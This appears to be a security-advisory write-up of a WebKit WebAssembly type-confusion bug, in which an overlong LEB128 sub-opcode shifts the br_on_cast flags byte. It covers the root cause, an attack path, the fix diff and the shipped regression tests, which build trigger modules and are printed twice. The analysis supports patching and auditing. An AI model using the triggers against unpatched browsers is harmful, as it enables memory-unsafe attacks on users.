Medium webkit Type Confusion 🔧 Commit mapped

Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactProcessing maliciously crafted web content may lead to an unexpected Safari crash
DescriptionThis issue was addressed through improved state management.
ComponentJSC
Bug ClassType Confusion
Tracker317349
Fix commit5b76326e8fc9 (webkit) +162/-12
CISA KEVNot listed
CreditedJosef Korbel
Disclosed2026-09-14

Background

IPInt
JSC’s “In-Place Interpreter” for WebAssembly: a metadata-driven interpreter that executes Wasm from compact side metadata generated at parse time, with hand-written assembly opcode handlers (InPlaceInterpreter64.asm).
Wasm GC `br_on_cast` / `br_on_cast_fail`
branch instructions that test whether a reference matches a target heap type and branch accordingly. They are encoded with the 0xfb GC prefix, a sub-opcode (0x18/0x19), a FLAGS byte, a branch label, and heap-type operands.
FLAGS byte
a bitfield where bit 0 = “src nullable” and bit 1 = “dst nullable” (allowNull for the cast target). Correct cast semantics depend on reading this flag.
LEB128
Wasm’s variable-length integer encoding. A value can be encoded canonically (one byte) or “overlong” (padded with 0x80 continuation bytes). The GC sub-opcode is a LEB128, so 0x19 and 0x99 0x80 0x00 are both valid encodings of the same sub-opcode but occupy different numbers of bytes.
`RefTestCastMetadata`
the side-metadata record for these ops (WasmIPIntGenerator.h): { int32_t toHeapType; uint8_t length; } before the fix.
MC / PC
in the asm handler, MC indexes the generated metadata and PC points into the raw bytecode stream.

Root Cause Analysis

In InPlaceInterpreter64.asm, the _br_on_cast and _br_on_cast_fail handlers derived the allowNull flag by re-reading the raw bytecode: loadb 2[PC] followed by rshifti 1 (“bit 1 = null2”). That hardcodes the FLAGS byte at a fixed offset (PC + 2) from the opcode, which is only correct when the GC sub-opcode is encoded canonically in a single byte. Because the sub-opcode is a LEB128, an attacker can encode it overlong (e.g. 0xfb 0x99 0x80 0x00 ...), shifting the real FLAGS byte to a different offset. The handler then reads some other byte of the instruction as the flags, producing a wrong allowNull for the ref cast — the cast’s null-handling diverges from the module’s actual semantics, even though both encodings denote the same instruction.

The patch removes the raw-bytecode read entirely and instead sources the flag from the parse-time metadata: loadb IPInt::RefTestCastMetadata::allowNull[MC]. To support that, RefTestCastMetadata gains a uint8_t allowNull field (WasmIPIntGenerator.h), and the three generators — IPIntGenerator::addRefTest, addRefCast, and addBranchCast in WasmIPIntGenerator.cpp — now take the real allowNull parameter (previously an unnamed/ignored bool) and store static_cast<uint8_t>(allowNull) into the metadata. Since the metadata is computed by the proper LEB128-aware decoder at generation time, the executed allowNull is independent of how the sub-opcode was encoded. The committed differential tests build the same module with canonical vs. overlong sub-opcode encodings and assert identical is_poisoned() results; divergence means the interpreter read the flags from a position the encoding moved. The advisory’s “unexpected Safari crash” wording understates a Wasm GC type-safety divergence.

Key insight
IPInt read the br_on_cast nullability FLAGS byte from a hardcoded PC + 2 offset in the raw bytecode rather than from parse-time metadata, so an overlong LEB128 encoding of the GC sub-opcode shifted the flags and made the cast’s null-handling attacker-controlled.

Attack Path

  1. Craft the module Attacker builds a Wasm GC module using br_on_cast/br_on_cast_fail and encodes the GC sub-opcode overlong (0xfb 0x99 0x80 0x00 ...) so the real FLAGS byte no longer sits at PC + 2.
  2. Reach IPInt The module runs under the In-Place Interpreter tier, invoking the _br_on_cast(_fail) asm handler.
  3. Misread flags The handler loads the wrong byte as allowNull; the _ipint_extern_ref_test call then applies incorrect null-handling for the cast.
  4. Semantic divergence A ref.null passes (or fails) the cast contrary to the module’s declared nullability, so a null (or mistyped) reference is produced where a validated non-null/typed reference is expected (the test observes this as unexpected “poisoning” of a global).
  5. Primitive Downstream operations treat the reference under the wrong type/nullability assumption — a Wasm GC type-confusion that can lead to a null/mistyped-reference dereference or further memory unsafety (exploitation strength inferred; the diff proves the semantic divergence).

Impact Assessment

Reachable from unprivileged web content: any page can compile and instantiate a WebAssembly module, and the bug triggers on the IPInt interpreter tier with attacker-chosen (overlong) encoding. The diff substantiates a cast-semantics divergence — allowNull for br_on_cast/br_on_cast_fail read from the wrong byte — which breaks Wasm GC reference type/null guarantees (type confusion). The concrete observed effect is a wrong cast outcome (a reference of the wrong nullability/type flowing downstream); a crash via null/mistyped dereference is the immediate consequence, and heap-level type confusion is a plausible escalation (inferred). Not a sandbox escape by itself.

Files Changed

  • JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js
  • JSTests/wasm/stress/br-on-cast-overlong-leb128.js
  • Source/JavaScriptCore/llint/InPlaceInterpreter64.asm
  • Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
  • Source/JavaScriptCore/wasm/WasmIPIntGenerator.h

Audit Directions

  • Hardcoded `N[PC]` reads in IPInt handlers
    Audit all InPlaceInterpreter*.asm opcode handlers that loadb/loadi from fixed PC offsets for operands that follow a LEB128-encoded sub-opcode; those offsets are invalid under overlong encodings and should come from metadata instead.
  • Overlong-encoding differentials
    Review other GC and SIMD prefixed opcodes (0xfb, 0xfd) whose flags/immediates might be read from the bytecode rather than decoded metadata.
  • Dropped flag parameters
    Grep IPInt generators for formerly-unnamed bool/flag parameters that were ignored at metadata-emission time, as elsewhere the same pattern could drop semantically significant flags.
diff --git a/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm b/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm
index 4833cb2b6f81..c572f822e86e 100644
--- a/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm
+++ b/Source/JavaScriptCore/llint/InPlaceInterpreter64.asm
@@ -3585,9 +3585,7 @@ end)
 ipintOp(_br_on_cast, macro()
     validateOpcodeConfig(a1)
     loadi IPInt::RefTestCastMetadata::toHeapType[MC], a1
-    # fb 18 FLAGS
-    loadb 2[PC], a2
-    rshifti 1, a2  # bit 1 = null2
+    loadb IPInt::RefTestCastMetadata::allowNull[MC], a2
     loadq [sp], a3
     operationCall(macro() cCall3(_ipint_extern_ref_test) end)
 
@@ -3603,9 +3601,7 @@ end)
 ipintOp(_br_on_cast_fail, macro()
     validateOpcodeConfig(a1)
     loadi IPInt::RefTestCastMetadata::toHeapType[MC], a1
-    loadb 2[PC], a2
-    # fb 19 FLAGS
-    rshifti 1, a2  # bit 1 = null2
+    loadb IPInt::RefTestCastMetadata::allowNull[MC], a2
     loadq [sp], a3
     operationCall(macro() cCall3(_ipint_extern_ref_test) end)
 
diff --git a/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp b/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
index fde5d1d88718..3cc1d04b57a4 100644
--- a/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
+++ b/Source/JavaScriptCore/wasm/WasmIPIntGenerator.cpp
@@ -1368,20 +1368,22 @@ WARN_UNUSED_RETURN PartialResult IPIntGenerator::addStructSet(ExpressionType, co
     return { };
 }
 
-WARN_UNUSED_RETURN PartialResult IPIntGenerator::addRefTest(ExpressionType, bool, int32_t heapType, bool, ExpressionType&)
+WARN_UNUSED_RETURN PartialResult IPIntGenerator::addRefTest(ExpressionType, bool allowNull, int32_t heapType, bool, ExpressionType&)
 {
     m_metadata->appendMetadata<IPInt::RefTestCastMetadata>({
         heapType,
-        static_cast<uint8_t>(getCurrentInstructionLength())
+        static_cast<uint8_t>(getCurrentInstructionLength()),
+        static_cast<uint8_t>(allowNull),
     });
     return { };
 }
 
-WARN_UNUSED_RETURN PartialResult IPIntGenerator::addRefCast(ExpressionType, bool, int32_t heapType, ExpressionType&)
+WARN_UNUSED_RETURN PartialResult IPIntGenerator::addRefCast(ExpressionType, bool allowNull, int32_t heapType, ExpressionType&)
 {
     m_metadata->appendMetadata<IPInt::RefTestCastMetadata>({
         heapType,
-        static_cast<uint8_t>(getCurrentInstructionLength())
+        static_cast<uint8_t>(getCurrentInstructionLength()),
+        static_cast<uint8_t>(allowNull),
     });
     return { };
 }
@@ -2661,11 +2663,12 @@ WARN_UNUSED_RETURN PartialResult IPIntGenerator::addBranchNull(ControlType& bloc
     return { };
 }
 
-WARN_UNUSED_RETURN PartialResult IPIntGenerator::addBranchCast(ControlType& block, ExpressionType, Stack&, bool, int32_t heapType, bool)
+WARN_UNUSED_RETURN PartialResult IPIntGenerator::addBranchCast(ControlType& block, ExpressionType, Stack&, bool allowNull, int32_t heapType, bool)
 {
     m_metadata->appendMetadata<IPInt::RefTestCastMetadata>({
         heapType,
-        0
+        0,
+        static_cast<uint8_t>(allowNull),
     });
 
     IPIntLocation here = { curPC(), curMC() };
diff --git a/Source/JavaScriptCore/wasm/WasmIPIntGenerator.h b/Source/JavaScriptCore/wasm/WasmIPIntGenerator.h
index 3eafe9b9e707..62852a399793 100644
--- a/Source/JavaScriptCore/wasm/WasmIPIntGenerator.h
+++ b/Source/JavaScriptCore/wasm/WasmIPIntGenerator.h
@@ -356,6 +356,7 @@ struct ArrayInitElemMetadata {
 struct RefTestCastMetadata {
     int32_t toHeapType;
     uint8_t length;
+    uint8_t allowNull;
 };
 
 #pragma pack()
diff --git a/JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js b/JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js
new file mode 100644
index 000000000000..751087b87498
--- /dev/null
+++ b/JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js
@@ -0,0 +1,75 @@
+"use strict";
+// Canonical and overlong LEB128 encodings of a GC sub-opcode must produce
+// identical execution semantics. This test checks that for br_on_cast_fail
+// with FLAGS=0x03 - divergence means IPInt is reading the flags byte from a
+// position the encoding moved.
+
+function uleb(n) { const o=[]; do { let b=n&0x7f; n>>>=7; if(n) b|=0x80; o.push(b); } while(n); return o; }
+function section(id, b) { return [id, ...uleb(b.length), ...b]; }
+function str(s) { return [s.length, ...Array.from(s, c => c.charCodeAt(0))]; }
+
+function buildModule(brOnCastFail) {
+    const typeSec = [
+        0x03,
+        0x5f, 0x00,                          // type 0: (struct)
+        0x60, 0x00, 0x00,                    // type 1: () -> void
+        0x60, 0x00, 0x01, 0x7f,              // type 2: () -> i32
+    ];
+    const funcSec = [0x02, 0x01, 0x02];
+    // global 0: (mut (ref null any)) init = (struct.new_default 0)
+    const globalSec = [0x01, 0x63, 0x6e, 0x01, 0xfb, 0x01, 0x00, 0x0b];
+    const exportSec = [
+        0x02,
+        ...str("poison"),      0x00, 0x00,
+        ...str("is_poisoned"), 0x00, 0x01,
+    ];
+    const poisonBody = [
+        0x00,
+        0x02, 0x63, 0x6e,                    // block (result (ref null any))
+            0xd0, 0x6e,                      //   ref.null any
+            ...brOnCastFail,                     //   br_on_cast_fail 0  (FLAGS=0x03 in either encoding)
+            0x1a,                            //   drop  (drops the (ref null 0) cast result)
+            0xfb, 0x01, 0x00,                //   struct.new_default 0
+            0x0c, 0x00,                      //   br 0
+        0x0b,
+        0x24, 0x00,                          // global.set 0
+        0x0b,
+    ];
+    const checkBody = [
+        0x00,
+        0x23, 0x00,                          // global.get 0
+        0xd1,                                // ref.is_null
+        0x0b,
+    ];
+    const codeSec = [
+        0x02,
+        ...uleb(poisonBody.length), ...poisonBody,
+        ...uleb(checkBody.length),  ...checkBody,
+    ];
+    return new Uint8Array([
+        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
+        ...section(1, typeSec),
+        ...section(3, funcSec),
+        ...section(6, globalSec),
+        ...section(7, exportSec),
+        ...section(10, codeSec),
+    ]);
+}
+
+//                       prefix sub-op            flags label ht1   ht2
+const CANONICAL = [0xfb, 0x19,            0x03, 0x00, 0x6e, 0x00];
+const OVERLONG  = [0xfb, 0x99,0x80,0x00,  0x03, 0x00, 0x6e, 0x00];
+
+const a = new WebAssembly.Instance(new WebAssembly.Module(buildModule(CANONICAL)));
+const b = new WebAssembly.Instance(new WebAssembly.Module(buildModule(OVERLONG)));
+
+a.exports.poison();
+b.exports.poison();
+
+const rA = a.exports.is_poisoned();
+const rB = b.exports.is_poisoned();
+
+if (rA !== rB)
+    throw new Error("LEB encoding of GC sub-opcode affects br_on_cast_fail semantics: "
+                    + "canonical=" + rA + " overlong=" + rB
+                    + " — IPInt reads flags from PC at hardcoded offset");
diff --git a/JSTests/wasm/stress/br-on-cast-overlong-leb128.js b/JSTests/wasm/stress/br-on-cast-overlong-leb128.js
new file mode 100644
index 000000000000..acb7d7784641
--- /dev/null
+++ b/JSTests/wasm/stress/br-on-cast-overlong-leb128.js
@@ -0,0 +1,75 @@
+"use strict";
+// Canonical and overlong LEB128 encodings of a GC sub-opcode must produce
+// identical execution semantics. This test checks that for br_on_cast with
+// FLAGS=0x03 - divergence means IPInt is reading the flags byte from a
+// position the encoding moved.
+
+function uleb(n) { const o=[]; do { let b=n&0x7f; n>>>=7; if(n) b|=0x80; o.push(b); } while(n); return o; }
+function section(id, b) { return [id, ...uleb(b.length), ...b]; }
+function str(s) { return [s.length, ...Array.from(s, c => c.charCodeAt(0))]; }
+
+function buildModule(brOnCast) {
+    const typeSec = [
+        0x03,
+        0x5f, 0x00,                          // type 0: (struct)
+        0x60, 0x00, 0x00,                    // type 1: () -> void
+        0x60, 0x00, 0x01, 0x7f,              // type 2: () -> i32
+    ];
+    const funcSec = [0x02, 0x01, 0x02];
+    // global 0: (mut (ref null 0)) init = (struct.new_default 0)
+    const globalSec = [0x01, 0x63, 0x00, 0x01, 0xfb, 0x01, 0x00, 0x0b];
+    const exportSec = [
+        0x02,
+        ...str("poison"),      0x00, 0x00,
+        ...str("is_poisoned"), 0x00, 0x01,
+    ];
+    const poisonBody = [
+        0x00,
+        0x02, 0x63, 0x00,                    // block (result (ref null 0))
+            0xd0, 0x6e,                      //   ref.null any
+            ...brOnCast,                     //   br_on_cast 0  (FLAGS=0x03 in either encoding)
+            0x1a,                            //   drop
+            0xfb, 0x01, 0x00,                //   struct.new_default 0  (only reached if cast missed)
+            0x0c, 0x00,                      //   br 0
+        0x0b,
+        0x24, 0x00,                          // global.set 0
+        0x0b,
+    ];
+    const checkBody = [
+        0x00,
+        0x23, 0x00,                          // global.get 0
+        0xd1,                                // ref.is_null
+        0x0b,
+    ];
+    const codeSec = [
+        0x02,
+        ...uleb(poisonBody.length), ...poisonBody,
+        ...uleb(checkBody.length),  ...checkBody,
+    ];
+    return new Uint8Array([
+        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
+        ...section(1, typeSec),
+        ...section(3, funcSec),
+        ...section(6, globalSec),
+        ...section(7, exportSec),
+        ...section(10, codeSec),
+    ]);
+}
+
+//                       prefix sub-op            flags label ht1   ht2
+const CANONICAL = [0xfb, 0x18,            0x03, 0x00, 0x6e, 0x00];
+const OVERLONG  = [0xfb, 0x98,0x80,0x00,  0x03, 0x00, 0x6e, 0x00];
+
+const a = new WebAssembly.Instance(new WebAssembly.Module(buildModule(CANONICAL)));
+const b = new WebAssembly.Instance(new WebAssembly.Module(buildModule(OVERLONG)));
+
+a.exports.poison();
+b.exports.poison();
+
+const rA = a.exports.is_poisoned();
+const rB = b.exports.is_poisoned();
+
+if (rA !== rB)
+    throw new Error("LEB encoding of GC sub-opcode affects br_on_cast semantics: "
+                    + "canonical=" + rA + " overlong=" + rB
+                    + " — IPInt reads flags from PC at hardcoded offset");
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js b/JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js
new file mode 100644
index 000000000000..751087b87498
--- /dev/null
+++ b/JSTests/wasm/stress/br-on-cast-fail-overlong-leb128.js
@@ -0,0 +1,75 @@
+"use strict";
+// Canonical and overlong LEB128 encodings of a GC sub-opcode must produce
+// identical execution semantics. This test checks that for br_on_cast_fail
+// with FLAGS=0x03 - divergence means IPInt is reading the flags byte from a
+// position the encoding moved.
+
+function uleb(n) { const o=[]; do { let b=n&0x7f; n>>>=7; if(n) b|=0x80; o.push(b); } while(n); return o; }
+function section(id, b) { return [id, ...uleb(b.length), ...b]; }
+function str(s) { return [s.length, ...Array.from(s, c => c.charCodeAt(0))]; }
+
+function buildModule(brOnCastFail) {
+    const typeSec = [
+        0x03,
+        0x5f, 0x00,                          // type 0: (struct)
+        0x60, 0x00, 0x00,                    // type 1: () -> void
+        0x60, 0x00, 0x01, 0x7f,              // type 2: () -> i32
+    ];
+    const funcSec = [0x02, 0x01, 0x02];
+    // global 0: (mut (ref null any)) init = (struct.new_default 0)
+    const globalSec = [0x01, 0x63, 0x6e, 0x01, 0xfb, 0x01, 0x00, 0x0b];
+    const exportSec = [
+        0x02,
+        ...str("poison"),      0x00, 0x00,
+        ...str("is_poisoned"), 0x00, 0x01,
+    ];
+    const poisonBody = [
+        0x00,
+        0x02, 0x63, 0x6e,                    // block (result (ref null any))
+            0xd0, 0x6e,                      //   ref.null any
+            ...brOnCastFail,                     //   br_on_cast_fail 0  (FLAGS=0x03 in either encoding)
+            0x1a,                            //   drop  (drops the (ref null 0) cast result)
+            0xfb, 0x01, 0x00,                //   struct.new_default 0
+            0x0c, 0x00,                      //   br 0
+        0x0b,
+        0x24, 0x00,                          // global.set 0
+        0x0b,
+    ];
+    const checkBody = [
+        0x00,
+        0x23, 0x00,                          // global.get 0
+        0xd1,                                // ref.is_null
+        0x0b,
+    ];
+    const codeSec = [
+        0x02,
+        ...uleb(poisonBody.length), ...poisonBody,
+        ...uleb(checkBody.length),  ...checkBody,
+    ];
+    return new Uint8Array([
+        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
+        ...section(1, typeSec),
+        ...section(3, funcSec),
+        ...section(6, globalSec),
+        ...section(7, exportSec),
+        ...section(10, codeSec),
+    ]);
+}
+
+//                       prefix sub-op            flags label ht1   ht2
+const CANONICAL = [0xfb, 0x19,            0x03, 0x00, 0x6e, 0x00];
+const OVERLONG  = [0xfb, 0x99,0x80,0x00,  0x03, 0x00, 0x6e, 0x00];
+
+const a = new WebAssembly.Instance(new WebAssembly.Module(buildModule(CANONICAL)));
+const b = new WebAssembly.Instance(new WebAssembly.Module(buildModule(OVERLONG)));
+
+a.exports.poison();
+b.exports.poison();
+
+const rA = a.exports.is_poisoned();
+const rB = b.exports.is_poisoned();
+
+if (rA !== rB)
+    throw new Error("LEB encoding of GC sub-opcode affects br_on_cast_fail semantics: "
+                    + "canonical=" + rA + " overlong=" + rB
+                    + " — IPInt reads flags from PC at hardcoded offset");
diff --git a/JSTests/wasm/stress/br-on-cast-overlong-leb128.js b/JSTests/wasm/stress/br-on-cast-overlong-leb128.js
new file mode 100644
index 000000000000..acb7d7784641
--- /dev/null
+++ b/JSTests/wasm/stress/br-on-cast-overlong-leb128.js
@@ -0,0 +1,75 @@
+"use strict";
+// Canonical and overlong LEB128 encodings of a GC sub-opcode must produce
+// identical execution semantics. This test checks that for br_on_cast with
+// FLAGS=0x03 - divergence means IPInt is reading the flags byte from a
+// position the encoding moved.
+
+function uleb(n) { const o=[]; do { let b=n&0x7f; n>>>=7; if(n) b|=0x80; o.push(b); } while(n); return o; }
+function section(id, b) { return [id, ...uleb(b.length), ...b]; }
+function str(s) { return [s.length, ...Array.from(s, c => c.charCodeAt(0))]; }
+
+function buildModule(brOnCast) {
+    const typeSec = [
+        0x03,
+        0x5f, 0x00,                          // type 0: (struct)
+        0x60, 0x00, 0x00,                    // type 1: () -> void
+        0x60, 0x00, 0x01, 0x7f,              // type 2: () -> i32
+    ];
+    const funcSec = [0x02, 0x01, 0x02];
+    // global 0: (mut (ref null 0)) init = (struct.new_default 0)
+    const globalSec = [0x01, 0x63, 0x00, 0x01, 0xfb, 0x01, 0x00, 0x0b];
+    const exportSec = [
+        0x02,
+        ...str("poison"),      0x00, 0x00,
+        ...str("is_poisoned"), 0x00, 0x01,
+    ];
+    const poisonBody = [
+        0x00,
+        0x02, 0x63, 0x00,                    // block (result (ref null 0))
+            0xd0, 0x6e,                      //   ref.null any
+            ...brOnCast,                     //   br_on_cast 0  (FLAGS=0x03 in either encoding)
+            0x1a,                            //   drop
+            0xfb, 0x01, 0x00,                //   struct.new_default 0  (only reached if cast missed)
+            0x0c, 0x00,                      //   br 0
+        0x0b,
+        0x24, 0x00,                          // global.set 0
+        0x0b,
+    ];
+    const checkBody = [
+        0x00,
+        0x23, 0x00,                          // global.get 0
+        0xd1,                                // ref.is_null
+        0x0b,
+    ];
+    const codeSec = [
+        0x02,
+        ...uleb(poisonBody.length), ...poisonBody,
+        ...uleb(checkBody.length),  ...checkBody,
+    ];
+    return new Uint8Array([
+        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
+        ...section(1, typeSec),
+        ...section(3, funcSec),
+        ...section(6, globalSec),
+        ...section(7, exportSec),
+        ...section(10, codeSec),
+    ]);
+}
+
+//                       prefix sub-op            flags label ht1   ht2
+const CANONICAL = [0xfb, 0x18,            0x03, 0x00, 0x6e, 0x00];
+const OVERLONG  = [0xfb, 0x98,0x80,0x00,  0x03, 0x00, 0x6e, 0x00];
+
+const a = new WebAssembly.Instance(new WebAssembly.Module(buildModule(CANONICAL)));
+const b = new WebAssembly.Instance(new WebAssembly.Module(buildModule(OVERLONG)));
+
+a.exports.poison();
+b.exports.poison();
+
+const rA = a.exports.is_poisoned();
+const rB = b.exports.is_poisoned();
+
+if (rA !== rB)
+    throw new Error("LEB encoding of GC sub-opcode affects br_on_cast semantics: "
+                    + "canonical=" + rA + " overlong=" + rB
+                    + " — IPInt reads flags from PC at hardcoded offset");
Loading diff…